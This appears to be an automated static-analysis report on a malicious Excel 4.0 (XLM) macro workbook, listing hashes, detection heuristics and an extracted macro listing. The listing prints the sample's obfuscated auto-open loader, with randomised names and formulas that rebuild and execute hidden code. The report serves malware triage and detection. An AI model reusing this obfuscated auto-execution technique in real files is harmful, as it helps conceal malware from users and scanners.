Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8098b5e5843d3160…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:39:38 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: f2607a4b4cd631eebec5255507a90540 SHA-1: c8b2a3996370a45e36d93ce6fa2f5992744c5671 SHA-256: 8098b5e5843d316078e7ab63a5e04e896154346869f3bf3635fb2a989d4910ab
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6399 bytes
SHA-256: ee83915526c850dfb0a3226f6c4de4876433402e91233dbd85af6b5864ca5bb1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'vLRJbObBiHGH') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sxz
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H138 
' 0018     24 LABEL : Cell Value, String Constant - cfiVXlgVq len=0 
' 0018     22 LABEL : Cell Value, String Constant - cnrPGhu len=0 
' 0018     21 LABEL : Cell Value, String Constant - DIyWBu len=0 
' 0018     24 LABEL : Cell Value, String Constant - DLdPAegMd len=0 
' 0018     20 LABEL : Cell Value, String Constant - GrINq len=0 
' 0018     27 LABEL : Cell Value, String Constant - hbAuZdpHHdKn len=0 
' 0018     25 LABEL : Cell Value, String Constant - hbUBYtAydY len=0 
' 0018     27 LABEL : Cell Value, String Constant - hfMEopInQlXZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - kNrgjGLU len=0 
' 0018     24 LABEL : Cell Value, String Constant - nhrZgeCWE len=0 
' 0018     26 LABEL : Cell Value, String Constant - nkrqYARrveP len=0 
' 0018     26 LABEL : Cell Value, String Constant - nTPqqvWsGpR len=0 
' 0018     26 LABEL : Cell Value, String Constant - qCTjgyWjrfw len=0 
' 0018     25 LABEL : Cell Value, String Constant - QDkQQiQUzN len=0 
' 0018     25 LABEL : Cell Value, String Constant - sgFdCPGECW len=0 
' 0018     24 LABEL : Cell Value, String Constant - sTZigPZPY len=0 
' 0018     27 LABEL : Cell Value, String Constant - vLRJbObBiHGH len=0 
' 0018     25 LABEL : Cell Value, String Constant - yyljmROnRH len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZEdRvQeBqJy len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZmBhl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Sxz,H50,"SET.NAME("GrINq",VALUE("0"))",""
'  Sxz,H54,"SET.NAME("nhrZgeCWE",GrINq)",""
'  Sxz,H56,"SET.NAME("sTZigPZPY",GrINq)",""
'  Sxz,H59,"SET.NAME("hbUBYtAydY",COUNTA(cfiVXlgVq))",""
'  Sxz,H61,"SET.NAME("DLdPAegMd",COUNTA(cnrPGhu))",""
'  Sxz,H64,[],""
'  Sxz,H67,"SET.NAME("ZEdRvQeBqJy","")",""
'  Sxz,H72,"nhrZgeCWE",""
'  Sxz,H76,"SET.NAME("DIyWBu",HLOOKUP("*",cfiVXlgVq,nhrZgeCWE,FALSE))",""
'  Sxz,H79,"nTPqqvWsGpR",""
'  Sxz,H84,"SET.NAME("hfMEopInQlXZ",GrINq)",""
'  Sxz,H88,[],""
'  Sxz,H93,"hfMEopInQlXZ",""
'  Sxz,H96,"qCTjgyWjrfw",""
'  Sxz,H99,"hbAuZdpHHdKn",""
'  Sxz,H103,"ZmBhl",""
'  Sxz,H105,"SET.NAME("nkrqYARrveP",VALUE(HLOOKUP("*",cnrPGhu,ZmBhl,FALSE)))",""
'  Sxz,H107,"sgFdCPGECW",""
'  Sxz,H112,"ZEdRvQeBqJy",""
'  Sxz,H115,"sTZigPZPY",""
'  Sxz,H117,NEXT(),""
'  Sxz,H120,"kNrgjGLU",""
'  Sxz,H123,"SET.NAME("f",INT(T(FORMULA(T(ZEdRvQeBqJy)&"",""&T(kNrgjGLU)))))",""
'  Sxz,H125,"vLRJbObBiHGH",""
'  Sxz,H130,NEXT(),""
'  Sxz,H135,RETURN(),""
'  Sxz,H165,"SET.NAME("yyljmROnRH",H50)",""
'  Sxz,H169,"cfiVXlgVq",""
'  Sxz,H174,"SET.NAME("cnrPGhu",R48C11)",""
'  Sxz,H176,"SET.NAME("vLRJbObBiHGH",184)",""
'  Sxz,H179,"SET.NAME("QDkQQiQUzN",8)",""
'  Sxz,H183,yyljmROnRH(),""
'  Sxz,H184,HALT(),""